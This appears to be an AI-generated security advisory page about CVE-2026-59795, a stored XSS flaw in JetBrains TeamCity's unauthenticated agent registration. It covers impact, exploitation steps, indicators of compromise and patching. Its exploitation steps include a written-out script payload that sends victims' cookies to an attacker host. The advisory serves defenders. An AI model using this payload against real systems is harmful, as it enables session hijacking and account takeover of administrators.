CVE-2026-59795
JetBrains TeamCity 취약성 분석 및 완화

개요

CVE-2026-59795 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity that allows unauthenticated attackers to inject malicious scripts via the agent registration mechanism. The vulnerability affects all JetBrains TeamCity versions before 2026.1.2. It was published on July 10, 2026, with a patch available in version 2026.1.2. The CVSS v3.1 base score is 6.1 (Medium) per NVD, though the GitHub Advisory Database rates it 8.1 (High) using a slightly different vector (GitHub Advisory, JetBrains).

기술적 세부 사항

The root cause is improper neutralization of user-controllable input during web page generation (CWE-79), specifically within the agent registration workflow. Because TeamCity permits unauthenticated agent registration, an attacker can submit crafted registration data containing malicious JavaScript payloads without any prior authentication. These payloads are stored server-side and subsequently rendered in the browsers of authenticated users (e.g., administrators) who view agent information pages, triggering script execution in their session context. No public proof-of-concept code has been identified at this time (GitHub Advisory, JetBrains).

영향

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browsers of authenticated TeamCity users, including administrators, who view the compromised agent data. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of the victim user, and potential account takeover. Confidentiality and integrity are both impacted (rated High in the GitHub Advisory scoring), while availability is not directly affected (GitHub Advisory).

착취 단계

  1. Reconnaissance: Identify internet-facing JetBrains TeamCity instances running versions prior to 2026.1.2 using tools like Shodan or Censys, or by checking the TeamCity version endpoint.
  2. Identify agent registration endpoint: Locate the unauthenticated agent registration API or web interface exposed by the TeamCity server (no credentials required).
  3. Craft malicious payload: Prepare a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected into agent registration fields such as agent name or other metadata fields that are rendered in the admin UI.
  4. Submit registration request: Send the crafted agent registration request to the TeamCity server without authentication, causing the malicious script to be stored in the TeamCity database.
  5. Wait for victim interaction: When an authenticated administrator or user navigates to the agent management page in TeamCity, the stored payload executes in their browser context.
  6. Harvest session data: The attacker receives stolen session tokens or cookies, enabling session hijacking and unauthorized actions within TeamCity (GitHub Advisory).

타협의 징후

  • Network: Unexpected outbound HTTP requests from TeamCity users' browsers to external domains shortly after viewing agent management pages; unusual agent registration requests from unknown or external IP addresses.
  • Logs: TeamCity server logs showing agent registration events from unauthenticated sources with anomalous or unusually long agent name/metadata fields; access logs with POST requests to agent registration endpoints containing encoded script tags or JavaScript.
  • Application: Presence of unfamiliar or suspicious build agents in the TeamCity agent list with names or descriptions containing HTML/JavaScript syntax (e.g., <script>, javascript:, onerror=).
  • Browser/Session: Unexpected session invalidations or account activity for administrator accounts following visits to agent management pages.

완화 및 해결 방법

JetBrains has released a fix in TeamCity version 2026.1.2; upgrading to this version or later is the primary recommended remediation (JetBrains, GitHub Advisory). As a workaround, organizations should consider restricting agent registration to authenticated users only if operationally feasible, and implement network-level controls to limit which hosts can register as build agents. Additionally, implementing a Content Security Policy (CSP) on the TeamCity web interface can reduce the impact of any XSS exploitation.

커뮤니티 반응

The vulnerability received coverage from several security news outlets including GBHackers, CyberSecurityNews, SecurityOnline, and VPNcentral, which reported on JetBrains patching multiple vulnerabilities across TeamCity, YouTrack, and IntelliJ IDEA in the same release cycle (GBHackers, CyberSecurityNews). Social media activity was noted on Mastodon and Bluesky, though community reaction was moderate given the lack of active exploitation. The vulnerability was also discussed in the context of JetBrains' broader security update addressing six vulnerabilities across its product suite.

추가 자료


근원이 보고서는 AI를 사용하여 생성되었습니다.

관련 JetBrains TeamCity 취약점:

CVE ID

심각도

점수

기술

구성 요소 이름

CISA KEV 익스플로잇

수정 사항이 있습니다.

게시된 날짜

CVE-2026-63077CRITICAL9.8
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
아니요Jul 27, 2026
CVE-2026-59793HIGH8.8
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
아니요Jul 10, 2026
CVE-2026-59796HIGH8.1
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
아니요Jul 10, 2026
CVE-2026-59795MEDIUM6.1
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
아니요Jul 10, 2026
CVE-2026-59794MEDIUM5.4
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
아니요Jul 10, 2026

무료 취약성 평가

클라우드 보안 태세를 벤치마킹합니다

9개의 보안 도메인에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 식별합니다.

평가 요청

추가 Wiz 리소스

맞춤형 데모 받기

맞춤형 데모 신청하기

"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
데이비드 에슬릭최고정보책임자(CISO)
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
아담 플레처최고 보안 책임자(CSO)
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."
그렉 포니아토프스키위협 및 취약성 관리 책임자